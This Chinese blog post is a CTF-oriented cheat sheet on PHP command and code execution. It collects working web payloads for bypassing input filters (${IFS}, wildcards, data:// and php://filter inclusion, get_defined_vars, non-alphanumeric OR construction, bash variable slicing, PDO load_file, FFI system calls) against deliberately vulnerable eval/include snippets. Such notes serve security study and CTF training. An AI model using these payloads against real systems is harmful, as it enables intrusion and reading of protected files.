命令执行

预备知识

相关命令:

system();
shell_exec();
exec();
passthru();
popen();
proc_open();

linux命令分隔符:

;      //用分号分隔的命令会按顺序执行,即使中间命令使用方式不对,会有相关错误输出,后面的命令照样会执行。
&&      //同C、C++语言逻辑运算符"&&"类似,遇到首个命令执行失败后,后面的命令不会执行。
||      //同C、C++语言逻辑运算符"||"类似,遇到首个命令执行成功后,后面的命令不会执行。

shell的一些读取命令:

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
grep:在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令:
grep test *file
strings:用于打印文件中可打印字符串

${IFS}
Shell 的环境变量分为 set, env 两种,其中 set 变量可以通过 export 工具导入到 env 变量中。其中,set 是显示设置shell变量,仅在本 shell 中有效;env 是显示设置用户环境变量 ,仅在当前会话中有效。换句话说,set 变量里包含了 env 变量,但 set 变量不一定都是 env 变量。这两种变量不同之处在于变量的作用域不同。显然,env 变量的作用域要大些,它可以在 subshell 中使用。
而 IFS 是一种 set 变量,当 shell 处理"命令替换"和"参数替换"时,shell 根据 IFS 的值,默认是 space, tab, newline 来拆解读入的变量,然后对特殊字符进行处理,最后重新组合赋值给该变量。
使用方法:

/?c=ta\c${IFS}fla\g.php||

php中读文件(主要用于eval($c);的场景):

highlight_file($filename);
show_source($filename);
print_r(php_strip_whitespace($filename));
print_r(file_get_contents($filename));
readfile($filename);
print_r(file($filename)); // var_dump
fread(fopen($filename,"r"), $size);
include($filename); // 非php代码
include_once($filename); // 非php代码
require($filename); // 非php代码
require_once($filename); // 非php代码
print_r(fread(popen("cat flag", "r"), $size));
print_r(fgets(fopen($filename, "r"))); // 读取一行
fpassthru(fopen($filename, "r")); // 从当前位置一直读取到 EOF
print_r(fgetcsv(fopen($filename,"r"), $size));
print_r(fgetss(fopen($filename, "r"))); // 从文件指针中读取一行并过滤掉 HTML 标记
print_r(fscanf(fopen("flag", "r"),"%s"));
print_r(parse_ini_file($filename)); // 失败时返回 false , 成功返回配置数组

php中读目录:
glob://用于查找匹配的文件路径模式。

print_r(glob("*")); // 列当前目录
print_r(glob("/*")); // 列根目录
print_r(scandir("."));
print_r(scandir("/"));
$d=opendir(".");while(false!==($f=readdir($d))){echo"$f\n";}
$d=dir(".");while(false!==($f=$d->read())){echo$f."\n";}
$a=glob("/*");foreach($a as $value){echo $value."   ";}
$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}

或者:

$a="glob:// /*.txt";                         //glob:///*.txt应该连起来写,中间空了一下只是方便理解
  if($b=opendir($a)){
    while(($file=readdir($b))!==false){
      echo "filename:".$file."\n";
    }
    closedir($b);
  }
exit();

一些和命令执行有关的设置:
open_basedir:将PHP所能打开的文件限制在指定的目录树中,包括文件本身。当程序要使用例如fopen()或file_get_contents()打开一个文件时,这个文件的位置将会被检查。当文件在指定的目录树之外,程序将拒绝打开。绕过可以使用UAF(User After Free)。
disable_functions:用于禁止某些函数,也就是黑名单,简单来说就是php为了防止某些危险函数执行给出的配置项,默认情况下为空。
ini_set()用于设置指定配置选项的值。这个选项会在脚本运行时保持新的值,并在脚本结束时恢复。但是这题也给ban了。

命令执行

场景类似于:

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

然后进行命令执行:

//通过system
/?c=system("tac fla?.php");

或者通过反引号:

/?c=echo `tac *`;

那么自然对输入的参数是有过滤的,比如说:

1.过滤了空格
使用%09%0a绕过
参数逃逸/?c=eval($_GET[1]);&1=system("cat%20flag.php");
如果是对于shell命令过滤了空格,还可以使用<><${IFS}进行绕过:

/?c=tac<>fla\g.php||
/?c=nl<fla"g.php||          

这里可以看到,如果flag被过滤了,可以加一个\分隔。

2.过滤了();
使用文件包含:

/?c=require%0a$_GET[1]?>&&1=php://filter/convert.base64-encode/resource=flag.php

?>直接闭合了php,后面就不是php代码了
这里提一下,php总比较常用的可以不加括号的函数有:echoprintissetunsetincluderequire

3.基于get_defined_vars
get_defined_vars — 返回由所有已定义变量所组成的数组

/?c=eval(array_pop(next(get_defined_vars())));
//POST数据
1=system("tac fla?.php");

4.基于localeconv

/?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

show_source() 函数对文件进行语法高亮显示,本函数是highlight_file()的别名。
scandir() 函数返回指定目录中的文件和目录的数组


之前是在eval()的基础上进行命令执行,接下来换个例子,在include()基础上进行命令执行。

场景如下:

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

使用data伪协议去执行php代码进而进行命令执行:

/?c=data://text/plain,<?php system("tac fla?.php");?>
/?c=data:text/plain,<?=system("tac fla*");?>

骚操作

1.数字和字母都被过滤了

if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>

字母数字都过滤了,不过或|符号没有过滤
参考:https://blog.csdn.net/miuzzx/article/details/108569080
就是使用或运算,把没有被过滤的字符变为需要的字符。

2.shell中绕过关键字

比如flag关键字被ban了,可以:
使用通配符
使用一些间隔符:

/?c=tac<>fla\g.php||
/?c=nl<fla"g.php||          

3.所有显示的命令都被ban了

还可以使用mv命令:
mv命令用来为文件或目录改名、或将文件或目录移入其它位置。

/?c=mv${IFS}fl?g.php${IFS}a.txt

再访问/a.txt即可。

4.shell中构造数字

这一题需要我们构造36出来,因为是在shell环境下的,所以需要使用linux shell的一些特性:
$(()) 代表做一次运算,因为里面为空,也表示值为0
$((~$(()))) 对0作取反运算,值为-1
$(($((~$(())))$((~$(()))))) -1-1,也就是(-1)+(-1)为-2,所以值为-2
$((~$(($((~$(())))$((~$(())))))))再对-2做一次取反得到1,所以值为1
如果对取反不了解可以百度一下,这里给个容易记得式子,如果对a按位取反,则得到的结果为-(a+1),也就是对0取反得到-1
那么最后只需要37个-1相加再取反即可。
写个脚本生成payload:

data = "$((~$(("+"$((~$(())))"*37+"))))"
print(data)

5.代码执行时想include()但是被ban了

可以使用一些可使用的进程去读取flag。这里使用PDO(PHP Database Object)去执行sql语句进而读出flag,payload如下:

c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

6.FFI

FFI参考
场景是这样的,通过目录读取发现:


readflag是专门用来读flag的。
PHP的FFI扩展就是一个让你在PHP里调用C代码的技术。

$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的
$ffi->system($a);//通过$ffi去调用system函数

7.使用bash内置变量去构造命令

┌──(root💀kali)-[~]
└─# echo ${PWD} 
/root
                                                                                                      
┌──(root💀kali)-[~]
└─# echo ${PWD:0:1}      #表示从0下标开始的第一个字符
/                                                                                                                                                                                       
┌──(root💀kali)-[~]
└─# echo ${PWD:~0:1}      #从结尾开始往前的第一个字符
t
                                                                                
┌──(root💀kali)-[~]
└─# echo ${PWD:~0}      
t
                                                                             
┌──(root💀kali)-[~]
└─# echo ${PWD:~A}       #所以字母和0具有同样作用             
t
                                                                    
┌──(root💀kali)-[~]
└─# echo ${PATH}                            
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
                                                                    
┌──(root💀kali)-[~]
└─# echo ${PATH:~A}                
n
                                                                                                    
┌──(root💀kali)-[~]
└─# ls                                      
Desktop  Documents  Downloads  flag.txt  Music  Pictures  Public  Templates  Videos
                                                                                              
┌──(root💀kali)-[~]
└─# ${PATH:~A}l flag.txt
     1  flag{test}               

SHLVL 是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时${SHLVL}=1,然后在此shell中再打开一个shell时$SHLVL=2

${SHLVL}       //一般是一个个位数
${#SHLVL}     //1,表示结果的字符长度
${PWD:${#}:${#SHLVL}}       //表示/
${USER}        //www-data
${PHP_VERSION:~A}       //2
${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}}         //at

${#IFS}在ubuntu等系统中值为3,在kali中测试值为4
${#}为添加到shell的参数个数,${##}则为值,好像是1?
$?表示上次命令的执行返回码,0表示正常,其他都是不正常。当然具体的命令有不同的返回码。所以${#?}大概率为1

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

友情链接更多精彩内容